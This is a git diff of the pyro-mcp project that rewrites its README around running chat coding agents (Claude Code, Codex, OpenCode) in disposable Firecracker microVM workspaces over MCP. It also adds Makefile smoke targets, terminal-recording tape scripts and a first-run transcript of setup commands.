uv run python scripts/workspace_use_case_smoke.py --scenario untrusted-inspection --environment "$(USE_CASE_ENVIRONMENT)" $(USE_CASE_SMOKE_FLAGS)
|
||||||
|
|
||||||
|
smoke-review-eval:
|
||||||
|
uv run python scripts/workspace_use_case_smoke.py --scenario review-eval --environment "$(USE_CASE_ENVIRONMENT)" $(USE_CASE_SMOKE_FLAGS)
|
||||||
|
|
||||||
ollama: ollama-demo
|
ollama: ollama-demo
|
||||||
|
|
||||||
ollama-demo:
|
ollama-demo:
|
||||||
|
|
|
||||||
411
README.md
411
README.md
|
|
@ -1,37 +1,255 @@
|
||||||
# pyro-mcp
|
# pyro-mcp
|
||||||
|
|
||||||
`pyro-mcp` runs commands inside ephemeral Firecracker microVMs using curated Linux environments such as `debian:12`.
|
`pyro-mcp` is a disposable MCP workspace for chat-based coding agents such as
|
||||||
|
Claude Code, Codex, and OpenCode.
|
||||||
|
|
||||||
It exposes the same runtime in three public forms:
|
It is built for Linux `x86_64` hosts with working KVM. The product path is:
|
||||||
|
|
||||||
- the `pyro` CLI
|
1. prove the host works
|
||||||
- the Python SDK via `from pyro_mcp import Pyro`
|
2. connect a chat host over MCP
|
||||||
- an MCP server so LLM clients can call VM tools directly
|
3. let the agent work inside a disposable workspace
|
||||||
|
4. validate the workflow with the recipe-backed smoke pack
|
||||||
|
|
||||||
|
`pyro-mcp` currently has no users. Expect breaking changes while this chat-host
|
||||||
|
path is still being shaped.
|
||||||
|
|
||||||
|
This repo is not trying to be a generic VM toolkit, a CI runner, or an
|
||||||
|
SDK-first platform.
|
||||||
|
|
||||||
|
[](https://pypi.org/project/pyro-mcp/)
|
||||||
|
|
||||||
## Start Here
|
## Start Here
|
||||||
|
|
||||||
- Install: [docs/install.md](docs/install.md)
|
- Install and zero-to-hero path: [docs/install.md](docs/install.md)
|
||||||
- Host requirements: [docs/host-requirements.md](docs/host-requirements.md)
|
- First run transcript: [docs/first-run.md](docs/first-run.md)
|
||||||
- Integration targets: [docs/integrations.md](docs/integrations.md)
|
- Chat host integrations: [docs/integrations.md](docs/integrations.md)
|
||||||
|
- Use-case recipes: [docs/use-cases/README.md](docs/use-cases/README.md)
|
||||||
|
- Vision: [docs/vision.md](docs/vision.md)
|
||||||
- Public contract: [docs/public-contract.md](docs/public-contract.md)
|
- Public contract: [docs/public-contract.md](docs/public-contract.md)
|
||||||
|
- Host requirements: [docs/host-requirements.md](docs/host-requirements.md)
|
||||||
- Troubleshooting: [docs/troubleshooting.md](docs/troubleshooting.md)
|
- Troubleshooting: [docs/troubleshooting.md](docs/troubleshooting.md)
|
||||||
|
- Stable workspace walkthrough GIF: [docs/assets/workspace-first-run.gif](docs/assets/workspace-first-run.gif)
|
||||||
|
- Terminal walkthrough GIF: [docs/assets/first-run.gif](docs/assets/first-run.gif)
|
||||||
|
- What's new in 4.5.0: [CHANGELOG.md#450](CHANGELOG.md#450)
|
||||||
|
- PyPI package: [pypi.org/project/pyro-mcp](https://pypi.org/project/pyro-mcp/)
|
||||||
|
|
||||||
## Public UX
|
## Who It's For
|
||||||
|
|
||||||
Primary install/run path:
|
- Claude Code users who want disposable workspaces instead of running directly
|
||||||
|
on the host
|
||||||
|
- Codex users who want an MCP-backed sandbox for repo setup, bug fixing, and
|
||||||
|
evaluation loops
|
||||||
|
- OpenCode users who want the same disposable workspace model
|
||||||
|
- people evaluating repo setup, test, and app-start workflows from a chat
|
||||||
|
interface on a clean machine
|
||||||
|
|
||||||
|
If you want a general VM platform, a queueing system, or a broad SDK product,
|
||||||
|
this repo is intentionally biased away from that story.
|
||||||
|
|
||||||
|
## Quickstart
|
||||||
|
|
||||||
|
Use either of these equivalent quickstart paths:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Package without install
|
||||||
|
python -m pip install uv
|
||||||
|
uvx --from pyro-mcp pyro doctor
|
||||||
|
uvx --from pyro-mcp pyro prepare debian:12
|
||||||
|
uvx --from pyro-mcp pyro run debian:12 -- git --version
|
||||||
|
```
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Already installed
|
||||||
|
pyro doctor
|
||||||
|
pyro prepare debian:12
|
||||||
|
pyro run debian:12 -- git --version
|
||||||
|
```
|
||||||
|
|
||||||
|
From a repo checkout, replace `pyro` with `uv run pyro`.
|
||||||
|
|
||||||
|
What success looks like:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
Platform: linux-x86_64
|
||||||
|
Runtime: PASS
|
||||||
|
Catalog version: 4.4.0
|
||||||
|
...
|
||||||
|
[pull] phase=install environment=debian:12
|
||||||
|
[pull] phase=ready environment=debian:12
|
||||||
|
Pulled: debian:12
|
||||||
|
...
|
||||||
|
[run] phase=create environment=debian:12
|
||||||
|
[run] phase=start vm_id=...
|
||||||
|
[run] phase=execute vm_id=...
|
||||||
|
[run] environment=debian:12 execution_mode=guest_vsock exit_code=0 duration_ms=...
|
||||||
|
git version ...
|
||||||
|
```
|
||||||
|
|
||||||
|
The first pull downloads an OCI environment from public Docker Hub, requires
|
||||||
|
outbound HTTPS access to `registry-1.docker.io`, and needs local cache space
|
||||||
|
for the guest image. `pyro prepare debian:12` performs that install step
|
||||||
|
automatically, then proves create, exec, reset, and delete on one throwaway
|
||||||
|
workspace so the daily loop is warm before the chat host connects.
|
||||||
|
|
||||||
|
## Chat Host Quickstart
|
||||||
|
|
||||||
|
After the quickstart works, make the daily loop explicit before you connect the
|
||||||
|
chat host:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
uvx --from pyro-mcp pyro doctor --environment debian:12
|
||||||
|
uvx --from pyro-mcp pyro prepare debian:12
|
||||||
|
```
|
||||||
|
|
||||||
|
Then connect a chat host in one named mode. Use the helper flow first:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
uvx --from pyro-mcp pyro host connect codex --mode repro-fix
|
||||||
|
uvx --from pyro-mcp pyro host connect codex --mode inspect
|
||||||
|
uvx --from pyro-mcp pyro host connect claude-code --mode cold-start
|
||||||
|
uvx --from pyro-mcp pyro host connect claude-code --mode review-eval
|
||||||
|
uvx --from pyro-mcp pyro host print-config opencode --mode repro-fix
|
||||||
|
```
|
||||||
|
|
||||||
|
If setup drifts or you want to inspect it first:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
uvx --from pyro-mcp pyro host doctor
|
||||||
|
uvx --from pyro-mcp pyro host repair claude-code
|
||||||
|
uvx --from pyro-mcp pyro host repair codex
|
||||||
|
uvx --from pyro-mcp pyro host repair opencode
|
||||||
|
```
|
||||||
|
|
||||||
|
Those helpers wrap the same `pyro mcp serve` entrypoint. Use a named mode when
|
||||||
|
one workflow already matches the job. Fall back to the generic no-mode path
|
||||||
|
when the mode feels too narrow.
|
||||||
|
|
||||||
|
Mode examples:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
uvx --from pyro-mcp pyro mcp serve --mode repro-fix
|
||||||
|
uvx --from pyro-mcp pyro mcp serve --mode inspect
|
||||||
|
uvx --from pyro-mcp pyro mcp serve --mode cold-start
|
||||||
|
uvx --from pyro-mcp pyro mcp serve --mode review-eval
|
||||||
|
```
|
||||||
|
|
||||||
|
Generic escape hatch:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
uvx --from pyro-mcp pyro mcp serve
|
uvx --from pyro-mcp pyro mcp serve
|
||||||
```
|
```
|
||||||
|
|
||||||
Installed package path:
|
From a repo root, the generic path auto-detects the current Git checkout and
|
||||||
|
lets the first `workspace_create` omit `seed_path`. If the host does not
|
||||||
|
preserve the server working directory, use:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
pyro mcp serve
|
uvx --from pyro-mcp pyro host connect codex --project-path /abs/path/to/repo
|
||||||
|
uvx --from pyro-mcp pyro mcp serve --project-path /abs/path/to/repo
|
||||||
```
|
```
|
||||||
|
|
||||||
The public user-facing interface is `pyro` and `Pyro`.
|
If you are starting outside a local checkout, use a clean clone source:
|
||||||
`Makefile` targets are contributor conveniences for this repository and are not the primary product UX.
|
|
||||||
|
```bash
|
||||||
|
uvx --from pyro-mcp pyro host connect codex --repo-url https://github.com/example/project.git
|
||||||
|
uvx --from pyro-mcp pyro mcp serve --repo-url https://github.com/example/project.git
|
||||||
|
```
|
||||||
|
|
||||||
|
Copy-paste host-specific starts:
|
||||||
|
|
||||||
|
- Claude Code: [examples/claude_code_mcp.md](examples/claude_code_mcp.md)
|
||||||
|
- Codex: [examples/codex_mcp.md](examples/codex_mcp.md)
|
||||||
|
- OpenCode: [examples/opencode_mcp_config.json](examples/opencode_mcp_config.json)
|
||||||
|
- Generic MCP config: [examples/mcp_client_config.md](examples/mcp_client_config.md)
|
||||||
|
|
||||||
|
Claude Code cold-start or review-eval:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
claude mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode cold-start
|
||||||
|
```
|
||||||
|
|
||||||
|
Codex repro-fix or inspect:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
codex mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode repro-fix
|
||||||
|
```
|
||||||
|
|
||||||
|
OpenCode `opencode.json` snippet:
|
||||||
|
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"mcp": {
|
||||||
|
"pyro": {
|
||||||
|
"type": "local",
|
||||||
|
"enabled": true,
|
||||||
|
"command": ["uvx", "--from", "pyro-mcp", "pyro", "mcp", "serve", "--mode", "repro-fix"]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
If OpenCode launches the server from an unexpected cwd, use
|
||||||
|
`pyro host print-config opencode --project-path /abs/path/to/repo` or add
|
||||||
|
`"--project-path", "/abs/path/to/repo"` after `"serve"` in the same command
|
||||||
|
array.
|
||||||
|
|
||||||
|
If `pyro-mcp` is already installed, replace `uvx --from pyro-mcp pyro` with
|
||||||
|
`pyro` in the same command or config shape.
|
||||||
|
|
||||||
|
Use the generic no-mode path when the named mode feels too narrow. Move to
|
||||||
|
`--profile workspace-full` only when the chat truly needs shells, services,
|
||||||
|
snapshots, secrets, network policy, or disk tools.
|
||||||
|
|
||||||
|
## Zero To Hero
|
||||||
|
|
||||||
|
1. Validate the host with `pyro doctor`.
|
||||||
|
2. Warm the machine-level daily loop with `pyro prepare debian:12`.
|
||||||
|
3. Prove guest execution with `pyro run debian:12 -- git --version`.
|
||||||
|
4. Connect Claude Code, Codex, or OpenCode with one named mode such as
|
||||||
|
`pyro host connect codex --mode repro-fix`, then fall back to raw
|
||||||
|
`pyro mcp serve --mode ...` or the generic no-mode path when needed.
|
||||||
|
5. Start with one recipe from [docs/use-cases/README.md](docs/use-cases/README.md).
|
||||||
|
`repro-fix` is the shortest chat-first mode and story.
|
||||||
|
6. Use `workspace reset` as the normal retry step inside that warmed loop.
|
||||||
|
7. Use `make smoke-use-cases` as the trustworthy guest-backed verification path
|
||||||
|
for the advertised workflows.
|
||||||
|
|
||||||
|
That is the intended user journey. The terminal commands exist to validate and
|
||||||
|
debug that chat-host path, not to replace it as the main product story.
|
||||||
|
|
||||||
|
## Manual Terminal Workspace Flow
|
||||||
|
|
||||||
|
If you want to understand what the agent gets inside the sandbox, or debug a
|
||||||
|
recipe outside the chat host, use the terminal companion flow below:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
uv tool install pyro-mcp
|
||||||
|
WORKSPACE_ID="$(pyro workspace create debian:12 --seed-path ./repo --name repro-fix --label issue=123 --id-only)"
|
||||||
|
pyro workspace list
|
||||||
|
pyro workspace sync push "$WORKSPACE_ID" ./changes
|
||||||
|
pyro workspace file read "$WORKSPACE_ID" note.txt --content-only
|
||||||
|
pyro workspace patch apply "$WORKSPACE_ID" --patch-file fix.patch
|
||||||
|
pyro workspace exec "$WORKSPACE_ID" -- cat note.txt
|
||||||
|
pyro workspace summary "$WORKSPACE_ID"
|
||||||
|
pyro workspace snapshot create "$WORKSPACE_ID" checkpoint
|
||||||
|
pyro workspace reset "$WORKSPACE_ID" --snapshot checkpoint
|
||||||
|
pyro workspace export "$WORKSPACE_ID" note.txt --output ./note.txt
|
||||||
|
pyro workspace delete "$WORKSPACE_ID"
|
||||||
|
```
|
||||||
|
|
||||||
|
Add `workspace-full` only when the chat or your manual debugging loop really
|
||||||
|
needs:
|
||||||
|
|
||||||
|
- persistent PTY shells
|
||||||
|
- long-running services and readiness probes
|
||||||
|
- guest networking and published ports
|
||||||
|
- secrets
|
||||||
|
- stopped-workspace disk inspection
|
||||||
|
|
||||||
|
The five recipe docs show when those capabilities are justified:
|
||||||
|
[docs/use-cases/README.md](docs/use-cases/README.md)
|
||||||
|
|
||||||
## Official Environments
|
## Official Environments
|
||||||
|
|
||||||
|
|
@ -41,145 +259,10 @@ Current official environments in the shipped catalog:
|
||||||
- `debian:12-base`
|
- `debian:12-base`
|
||||||
- `debian:12-build`
|
- `debian:12-build`
|
||||||
|
|
||||||
The package ships the embedded Firecracker runtime and a package-controlled environment catalog.
|
The embedded Firecracker runtime ships with the package. Official environments
|
||||||
Official environments are pulled as OCI artifacts from public Docker Hub repositories into a local
|
are pulled as OCI artifacts from public Docker Hub into a local cache on first
|
||||||
cache on first use or through `pyro env pull`.
|
use or through `pyro env pull`. End users do not need registry credentials to
|
||||||
End users do not need registry credentials to pull or run official environments.
|
pull or run the official environments.
|
||||||
|
|
||||||
## CLI
|
|
||||||
|
|
||||||
List available environments:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
pyro env list
|
|
||||||
```
|
|
||||||
|
|
||||||
Prefetch one environment:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
pyro env pull debian:12
|
|
||||||
```
|
|
||||||
|
|
||||||
Run one command in an ephemeral VM:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
pyro run debian:12 --vcpu-count 1 --mem-mib 1024 -- git --version
|
|
||||||
```
|
|
||||||
|
|
||||||
Run with outbound internet enabled:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
pyro run debian:12 --vcpu-count 1 --mem-mib 1024 --network -- \
|
|
||||||
"git clone --depth 1 https://github.com/octocat/Hello-World.git hello-world && git -C hello-world rev-parse --is-inside-work-tree"
|
|
||||||
```
|
|
||||||
|
|
||||||
Show runtime and host diagnostics:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
pyro doctor
|
|
||||||
```
|
|
||||||
|
|
||||||
Run the deterministic demo:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
pyro demo
|
|
||||||
pyro demo --network
|
|
||||||
```
|
|
||||||
|
|
||||||
Run the Ollama demo:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
ollama serve
|
|
||||||
ollama pull llama3.2:3b
|
|
||||||
pyro demo ollama
|
|
||||||
```
|
|
||||||
|
|
||||||
## Python SDK
|
|
||||||
|
|
||||||
```python
|
|
||||||
from pyro_mcp import Pyro
|
|
||||||
|
|
||||||
pyro = Pyro()
|
|
||||||
result = pyro.run_in_vm(
|
|
||||||
environment="debian:12",
|
|
||||||
command="git --version",
|
|
||||||
vcpu_count=1,
|
|
||||||
mem_mib=1024,
|
|
||||||
timeout_seconds=30,
|
|
||||||
network=False,
|
|
||||||
)
|
|
||||||
print(result["stdout"])
|
|
||||||
```
|
|
||||||
|
|
||||||
Lower-level lifecycle control remains available:
|
|
||||||
|
|
||||||
```python
|
|
||||||
from pyro_mcp import Pyro
|
|
||||||
|
|
||||||
pyro = Pyro()
|
|
||||||
created = pyro.create_vm(
|
|
||||||
environment="debian:12",
|
|
||||||
vcpu_count=1,
|
|
||||||
mem_mib=1024,
|
|
||||||
ttl_seconds=600,
|
|
||||||
network=True,
|
|
||||||
)
|
|
||||||
vm_id = created["vm_id"]
|
|
||||||
pyro.start_vm(vm_id)
|
|
||||||
result = pyro.exec_vm(vm_id, command="git --version", timeout_seconds=30)
|
|
||||||
print(result["stdout"])
|
|
||||||
```
|
|
||||||
|
|
||||||
Environment management is also available through the SDK:
|
|
||||||
|
|
||||||
```python
|
|
||||||
from pyro_mcp import Pyro
|
|
||||||
|
|
||||||
pyro = Pyro()
|
|
||||||
print(pyro.list_environments())
|
|
||||||
print(pyro.inspect_environment("debian:12"))
|
|
||||||
```
|
|
||||||
|
|
||||||
## MCP Tools
|
|
||||||
|
|
||||||
Primary agent-facing tool:
|
|
||||||
|
|
||||||
- `vm_run(environment, command, vcpu_count, mem_mib, timeout_seconds=30, ttl_seconds=600, network=false)`
|
|
||||||
|
|
||||||
Advanced lifecycle tools:
|
|
||||||
|
|
||||||
- `vm_list_environments()`
|
|
||||||
- `vm_create(environment, vcpu_count, mem_mib, ttl_seconds=600, network=false)`
|
|
||||||
- `vm_start(vm_id)`
|
|
||||||
- `vm_exec(vm_id, command, timeout_seconds=30)`
|
|
||||||
- `vm_stop(vm_id)`
|
|
||||||
- `vm_delete(vm_id)`
|
|
||||||
- `vm_status(vm_id)`
|
|
||||||
- `vm_network_info(vm_id)`
|
|
||||||
- `vm_reap_expired()`
|
|
||||||
|
|
||||||
## Integration Examples
|
|
||||||
|
|
||||||
- Python one-shot SDK example: [examples/python_run.py](examples/python_run.py)
|
|
||||||
- Python lifecycle example: [examples/python_lifecycle.py](examples/python_lifecycle.py)
|
|
||||||
- MCP client config example: [examples/mcp_client_config.md](examples/mcp_client_config.md)
|
|
||||||
- Claude Desktop MCP config: [examples/claude_desktop_mcp_config.json](examples/claude_desktop_mcp_config.json)
|
|
||||||
- Cursor MCP config: [examples/cursor_mcp_config.json](examples/cursor_mcp_config.json)
|
|
||||||
- OpenAI Responses API example: [examples/openai_responses_vm_run.py](examples/openai_responses_vm_run.py)
|
|
||||||
- LangChain wrapper example: [examples/langchain_vm_run.py](examples/langchain_vm_run.py)
|
|
||||||
- Agent-ready `vm_run` example: [examples/agent_vm_run.py](examples/agent_vm_run.py)
|
|
||||||
|
|
||||||
## Runtime
|
|
||||||
|
|
||||||
The package ships an embedded Linux x86_64 runtime payload with:
|
|
||||||
|
|
||||||
- Firecracker
|
|
||||||
- Jailer
|
|
||||||
- guest agent
|
|
||||||
- runtime manifest and diagnostics
|
|
||||||
|
|
||||||
No system Firecracker installation is required.
|
|
||||||
`pyro` installs curated environments into a local cache and reports their status through `pyro env inspect` and `pyro doctor`.
|
|
||||||
|
|
||||||
## Contributor Workflow
|
## Contributor Workflow
|
||||||
|
|
||||||
|
|
@ -192,11 +275,14 @@ make check
|
||||||
make dist-check
|
make dist-check
|
||||||
```
|
```
|
||||||
|
|
||||||
Contributor runtime source artifacts are still maintained under `src/pyro_mcp/runtime_bundle/` and `runtime_sources/`.
|
Contributor runtime sources live under `runtime_sources/`. The packaged runtime
|
||||||
|
bundle under `src/pyro_mcp/runtime_bundle/` contains the embedded boot/runtime
|
||||||
|
assets plus manifest metadata. End-user environment installs pull
|
||||||
|
OCI-published environments by default. Use
|
||||||
|
`PYRO_RUNTIME_BUNDLE_DIR=build/runtime_bundle` only when you are explicitly
|
||||||
|
validating a locally built contributor runtime bundle.
|
||||||
|
|
||||||
Official environment publication is automated through
|
Official environment publication is performed locally against Docker Hub:
|
||||||
`.github/workflows/publish-environments.yml`.
|
|
||||||
For a local publish against Docker Hub:
|
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
export DOCKERHUB_USERNAME='your-dockerhub-username'
|
export DOCKERHUB_USERNAME='your-dockerhub-username'
|
||||||
|
|
@ -205,20 +291,9 @@ make runtime-materialize
|
||||||
make runtime-publish-official-environments-oci
|
make runtime-publish-official-environments-oci
|
||||||
```
|
```
|
||||||
|
|
||||||
`make runtime-publish-environment-oci` auto-exports the OCI layout for the selected
|
|
||||||
environment if it is missing.
|
|
||||||
The publisher accepts either `DOCKERHUB_USERNAME` and `DOCKERHUB_TOKEN` or
|
|
||||||
`OCI_REGISTRY_USERNAME` and `OCI_REGISTRY_PASSWORD`.
|
|
||||||
Docker Hub uploads are chunked by default for large rootfs layers; if you need to tune a slow
|
|
||||||
link, use `PYRO_OCI_UPLOAD_TIMEOUT_SECONDS`, `PYRO_OCI_UPLOAD_CHUNK_SIZE_BYTES`, and
|
|
||||||
`PYRO_OCI_REQUEST_TIMEOUT_SECONDS`.
|
|
||||||
|
|
||||||
For a local PyPI publish:
|
For a local PyPI publish:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
export TWINE_PASSWORD='pypi-...'
|
export TWINE_PASSWORD='pypi-...'
|
||||||
make pypi-publish
|
make pypi-publish
|
||||||
```
|
```
|
||||||
|
|
||||||
`make pypi-publish` defaults `TWINE_USERNAME` to `__token__`.
|
|
||||||
Set `PYPI_REPOSITORY_URL=https://test.pypi.org/legacy/` to publish to TestPyPI instead.
|
|
||||||
|
|
|
||||||
BIN
docs/assets/first-run.gif
Normal file
BIN
docs/assets/first-run.gif
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 2.4 MiB |
44
docs/assets/first-run.tape
Normal file
44
docs/assets/first-run.tape
Normal file
|
|
@ -0,0 +1,44 @@
|
||||||
|
Output docs/assets/first-run.gif
|
||||||
|
|
||||||
|
Require uv
|
||||||
|
|
||||||
|
Set Shell "zsh"
|
||||||
|
Set FontSize 18
|
||||||
|
Set Width 1200
|
||||||
|
Set Height 760
|
||||||
|
Set Theme "Dracula"
|
||||||
|
Set TypingSpeed 35ms
|
||||||
|
Set Padding 24
|
||||||
|
Set WindowBar Colorful
|
||||||
|
|
||||||
|
Hide
|
||||||
|
Type "cd /home/thales/projects/personal/pyro"
|
||||||
|
Enter
|
||||||
|
Type "export UV_CACHE_DIR=.uv-cache"
|
||||||
|
Enter
|
||||||
|
Type "export PYRO_ENVIRONMENT_CACHE_DIR=$(mktemp -d)"
|
||||||
|
Enter
|
||||||
|
Type "uvx --from pyro-mcp pyro --version >/dev/null"
|
||||||
|
Enter
|
||||||
|
Show
|
||||||
|
|
||||||
|
Type "# Check that the host can boot and run guests"
|
||||||
|
Enter
|
||||||
|
Sleep 700ms
|
||||||
|
Type "uvx --from pyro-mcp pyro doctor"
|
||||||
|
Enter
|
||||||
|
Sleep 2200ms
|
||||||
|
|
||||||
|
Type "# Pull the default environment into a fresh local cache"
|
||||||
|
Enter
|
||||||
|
Sleep 700ms
|
||||||
|
Type "uvx --from pyro-mcp pyro env pull debian:12"
|
||||||
|
Enter
|
||||||
|
Sleep 2200ms
|
||||||
|
|
||||||
|
Type "# Run one isolated command inside an ephemeral microVM"
|
||||||
|
Enter
|
||||||
|
Sleep 700ms
|
||||||
|
Type "uvx --from pyro-mcp pyro run debian:12 -- git --version"
|
||||||
|
Enter
|
||||||
|
Sleep 2600ms
|
||||||
BIN
docs/assets/workspace-first-run.gif
Normal file
BIN
docs/assets/workspace-first-run.gif
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 3.1 MiB |
104
docs/assets/workspace-first-run.tape
Normal file
104
docs/assets/workspace-first-run.tape
Normal file
|
|
@ -0,0 +1,104 @@
|
||||||
|
Output docs/assets/workspace-first-run.gif
|
||||||
|
|
||||||
|
Require uv
|
||||||
|
Require python3
|
||||||
|
|
||||||
|
Set Shell "zsh"
|
||||||
|
Set FontSize 18
|
||||||
|
Set Width 1480
|
||||||
|
Set Height 900
|
||||||
|
Set Theme "Dracula"
|
||||||
|
Set TypingSpeed 34ms
|
||||||
|
Set Padding 24
|
||||||
|
Set WindowBar Colorful
|
||||||
|
|
||||||
|
Hide
|
||||||
|
Type "cd /home/thales/projects/personal/pyro"
|
||||||
|
Enter
|
||||||
|
Type "setopt interactivecomments"
|
||||||
|
Enter
|
||||||
|
Type "export UV_CACHE_DIR=.uv-cache"
|
||||||
|
Enter
|
||||||
|
Type "export PYRO_ENVIRONMENT_CACHE_DIR=$(mktemp -d)"
|
||||||
|
Enter
|
||||||
|
Type "alias pyro='uv run pyro'"
|
||||||
|
Enter
|
||||||
|
Type "SEED_DIR=$(mktemp -d)"
|
||||||
|
Enter
|
||||||
|
Type "EXPORT_DIR=$(mktemp -d)"
|
||||||
|
Enter
|
||||||
|
Type 'printf "%s\n" "hello from seed" > "$SEED_DIR/note.txt"'
|
||||||
|
Enter
|
||||||
|
Type 'printf "%s\n" "--- a/note.txt" "+++ b/note.txt" "@@ -1 +1 @@" "-hello from seed" "+hello from patch" > "$SEED_DIR/fix.patch"'
|
||||||
|
Enter
|
||||||
|
Type 'printf "%s\n" "temporary drift" > "$SEED_DIR/drift.txt"'
|
||||||
|
Enter
|
||||||
|
Type "pyro env pull debian:12 >/dev/null"
|
||||||
|
Enter
|
||||||
|
Show
|
||||||
|
|
||||||
|
Type "# Create a named workspace from host content"
|
||||||
|
Enter
|
||||||
|
Sleep 700ms
|
||||||
|
Type 'WORKSPACE_ID="$(pyro workspace create debian:12 --seed-path "$SEED_DIR" --name repro-fix --label issue=123 --id-only)"'
|
||||||
|
Enter
|
||||||
|
Sleep 500ms
|
||||||
|
Type 'echo "$WORKSPACE_ID"'
|
||||||
|
Enter
|
||||||
|
Sleep 1600ms
|
||||||
|
|
||||||
|
Type "# Inspect the seeded file, then patch it without shell quoting"
|
||||||
|
Enter
|
||||||
|
Sleep 700ms
|
||||||
|
Type 'pyro workspace file read "$WORKSPACE_ID" note.txt --content-only'
|
||||||
|
Enter
|
||||||
|
Sleep 1400ms
|
||||||
|
Type 'pyro workspace patch apply "$WORKSPACE_ID" --patch-file "$SEED_DIR/fix.patch"'
|
||||||
|
Enter
|
||||||
|
Sleep 1800ms
|
||||||
|
Type 'pyro workspace exec "$WORKSPACE_ID" -- cat note.txt'
|
||||||
|
Enter
|
||||||
|
Sleep 1800ms
|
||||||
|
|
||||||
|
Type "# Capture a checkpoint, then drift away from it"
|
||||||
|
Enter
|
||||||
|
Sleep 700ms
|
||||||
|
Type 'pyro workspace snapshot create "$WORKSPACE_ID" checkpoint'
|
||||||
|
Enter
|
||||||
|
Sleep 1600ms
|
||||||
|
Type 'pyro workspace file write "$WORKSPACE_ID" note.txt --text-file "$SEED_DIR/drift.txt"'
|
||||||
|
Enter
|
||||||
|
Sleep 1800ms
|
||||||
|
Type 'pyro workspace exec "$WORKSPACE_ID" -- cat note.txt'
|
||||||
|
Enter
|
||||||
|
Sleep 1800ms
|
||||||
|
|
||||||
|
Type "# Start one service, then reset the whole sandbox to the checkpoint"
|
||||||
|
Enter
|
||||||
|
Sleep 700ms
|
||||||
|
Type 'pyro workspace service start "$WORKSPACE_ID" web --ready-file .web-ready -- sh -lc "touch .web-ready && while true; do sleep 60; done"'
|
||||||
|
Enter
|
||||||
|
Sleep 2200ms
|
||||||
|
Type 'pyro workspace reset "$WORKSPACE_ID" --snapshot checkpoint'
|
||||||
|
Enter
|
||||||
|
Sleep 2200ms
|
||||||
|
Type 'pyro workspace exec "$WORKSPACE_ID" -- cat note.txt'
|
||||||
|
Enter
|
||||||
|
Sleep 1800ms
|
||||||
|
|
||||||
|
Type "# Export the recovered file back to the host"
|
||||||
|
Enter
|
||||||
|
Sleep 700ms
|
||||||
|
Type 'pyro workspace export "$WORKSPACE_ID" note.txt --output "$EXPORT_DIR/note.txt"'
|
||||||
|
Enter
|
||||||
|
Sleep 1800ms
|
||||||
|
Type 'cat "$EXPORT_DIR/note.txt"'
|
||||||
|
Enter
|
||||||
|
Sleep 1600ms
|
||||||
|
|
||||||
|
Type "# Remove the workspace when the loop is done"
|
||||||
|
Enter
|
||||||
|
Sleep 700ms
|
||||||
|
Type 'pyro workspace delete "$WORKSPACE_ID"'
|
||||||
|
Enter
|
||||||
|
Sleep 2000ms
|
||||||
232
docs/first-run.md
Normal file
232
docs/first-run.md
Normal file
|
|
@ -0,0 +1,232 @@
|
||||||
|
# First Run Transcript
|
||||||
|
|
||||||
|
This is the intended evaluator-to-chat-host path for a first successful run on
|
||||||
|
a supported host.
|
||||||
|
|
||||||
|
Copy the commands as-is. Paths and timing values will differ on your machine.
|
||||||
|
The same sequence works with an installed `pyro` binary by dropping the
|
||||||
|
`uvx --from pyro-mcp` prefix. If you are running from a source checkout
|
||||||
|
instead of the published package, replace `pyro` with `uv run pyro`.
|
||||||
|
|
||||||
|
`pyro-mcp` currently has no users. Expect breaking changes while the chat-host
|
||||||
|
path is still being shaped.
|
||||||
|
|
||||||
|
## 1. Verify the host
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ uvx --from pyro-mcp pyro doctor --environment debian:12
|
||||||
|
Platform: linux-x86_64
|
||||||
|
Runtime: PASS
|
||||||
|
KVM: exists=yes readable=yes writable=yes
|
||||||
|
Environment cache: /home/you/.cache/pyro-mcp/environments
|
||||||
|
Catalog version: 4.5.0
|
||||||
|
Capabilities: vm_boot=yes guest_exec=yes guest_network=yes
|
||||||
|
Networking: tun=yes ip_forward=yes
|
||||||
|
Daily loop: COLD (debian:12)
|
||||||
|
Run: pyro prepare debian:12
|
||||||
|
```
|
||||||
|
|
||||||
|
## 2. Inspect the catalog
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ uvx --from pyro-mcp pyro env list
|
||||||
|
Catalog version: 4.4.0
|
||||||
|
debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows.
|
||||||
|
debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling.
|
||||||
|
debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled.
|
||||||
|
```
|
||||||
|
|
||||||
|
## 3. Pull the default environment
|
||||||
|
|
||||||
|
The first pull downloads an OCI environment from public Docker Hub, requires
|
||||||
|
outbound HTTPS access to `registry-1.docker.io`, and needs local cache space
|
||||||
|
for the guest image. See [host-requirements.md](host-requirements.md) for the
|
||||||
|
full host requirements.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ uvx --from pyro-mcp pyro env pull debian:12
|
||||||
|
[pull] phase=install environment=debian:12
|
||||||
|
[pull] phase=ready environment=debian:12
|
||||||
|
Pulled: debian:12
